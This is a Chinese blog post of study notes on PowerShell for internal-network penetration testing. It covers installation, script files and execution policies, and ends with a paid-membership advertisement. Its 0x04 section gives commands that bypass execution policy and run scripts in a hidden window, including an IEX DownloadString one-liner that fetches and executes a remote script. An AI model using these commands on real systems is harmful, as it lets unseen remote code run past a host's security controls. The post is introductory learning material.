0x01 前言
根据《内网安全攻防:渗透测试实战指南》
目录进行写笔记和巩固基础。
0x02 介绍
Windows PowerShell®
是基于任务的命令行管理程序和脚本语言,专为进行系统管理而设计。在 .NET Framework 的基础上构建的 Windows PowerShell 可帮助 IT 专业人士和高级用户控制和自动执行 Windows 操作系统以及在 Windows 上运行的应用程序的管理。
UNIX 系统一直有着功能强大的脚本(shell),Windows PowerShell 的诞生就是要提供功能相当于 UNIX 系统 BASH 的命令行外壳程序,同时也内建脚本语言以及辅助脚本程序的工具。
官方文档
https://docs.microsoft.com/zh-cn/powershell/scripting/overview?view=powershell-7.2
0x03 安装Powershell
https://docs.microsoft.com/zh-cn/powershell/scripting/install/installing-powershell-on-windows?view=powershell-7.2
Windows
安装程序在 Windows “开始” 菜单中创建一个快捷方式。
-
默认情况下,包安装位置为 $env:ProgramFilesPowerShell<version>
-
可以通过“开始”菜单或 $env:ProgramFilesPowerShell<version>pwsh.exe
启动 PowerShell
MacOS
安装 Homebrew。
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
现在,可以开始安装 PowerShell
:
brew install --cask powershell
最后,验证安装是否正常运行:
pwsh
PowerShell 新版本发布后,更新 Homebrew 公式并升级 PowerShell:
brew update
brew upgrade powershell --cask
-
备注
-
可从 PowerShell (pwsh) 主机调用上面的命令,但是调用后必须退出 PowerShell 并重启以完成升级,并刷新 $PSVersionTable
中显示的值。
https://docs.microsoft.com/zh-cn/powershell/scripting/learn/tutorials/01-discover-powershell?view=powershell-7.2
查看当前Powershell版本的话,也很简单: $PSVersionTable
参考Poweshell使用:
https://www.jianshu.com/p/c8f5c374466a
0x04 使用
PS1文件
一个PowerShell脚本其实就是一个简单的文本文件, 这个文件包含了一系列PowerShell命令,每个命令显示为独立的一行,对于被视为PowerShell脚本的文本文件,它的文件名需要加上.PS1的扩展名。
PowerShell的执行策略
为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设置为受限。
我们可以使用:Get-ExecutionPolicy
命令查看PowerShell当前的执行策略。它有4个策略。
-
Restricted:脚本不能运行(默认设置) -
RemoteSigned:本地创建的脚本可以运行,但是从网上下载的脚本不能运行(拥有数字证书签名的除外) -
AllSigned:仅当脚本由受信任的发布者签名时才能运行; -
Unrestricted:允许所有的脚本执行
Set-ExecutionPolicy 策略名(如:Unrestricted)
在渗透时,就需要采用一些方法绕过策略来执行脚本, 比如下面这三种。
-
绕过本地权限执行 -
上传xx.ps1至目标服务器,在CMD环境下,在目标服务器本地执行该脚本,如下所示。
PowerShell.exe -ExecutionPolicy Bypass -File xx.ps1
-
本地隐藏绕过权限执行脚本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden NoLogo -NonInteractive -NoProfile File xx.ps1
-
用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
下面对上述命令的参数进行说明,如下所示。
ExecutionPolicy Bypass
:绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。在渗透测试中,基本每次运行PowerShell脚本时都要使用这个参数。
-
WindowStyle Hidden:隐藏窗口。 -
NoLogo: 启动不显示版权标志的PowerShell. -
NonInteractive (-Nonl):非交互模式,PowerShell不为用户提供交互的提示。 -
NoProfile (-NoP): PowerShell控制台不加载当前用户的配置文件。 -
Noexit:执行后不退出Shell。这在使用键盘记录等脚本时非常重要。
PowerShel脚本在默认情况下无法直接执行,这时就可以使用上述三种方法绕过安全策略,运行PowerShell脚本。
我自己有看书:《Windows PowerShell实战指南》(第三版)
更多学习文档:
https://www.cnblogs.com/lavender000/p/6935589.html
https://docs.microsoft.com/zh-cn/powershell/
https://cloud.tencent.com/developer/article/1797817
0x05 结尾
多动手,我写的不全面!只能用作引导入门,通过我的引导去学,去找资料!
从现在开始,星球定价125元!日后只有慢慢涨没有跌价!现在入股不亏,持续输出原创文章,还是小有干货的!
原文始发于微信公众号(不懂安全的校长):内网渗透 | 2. Windows Powershell入门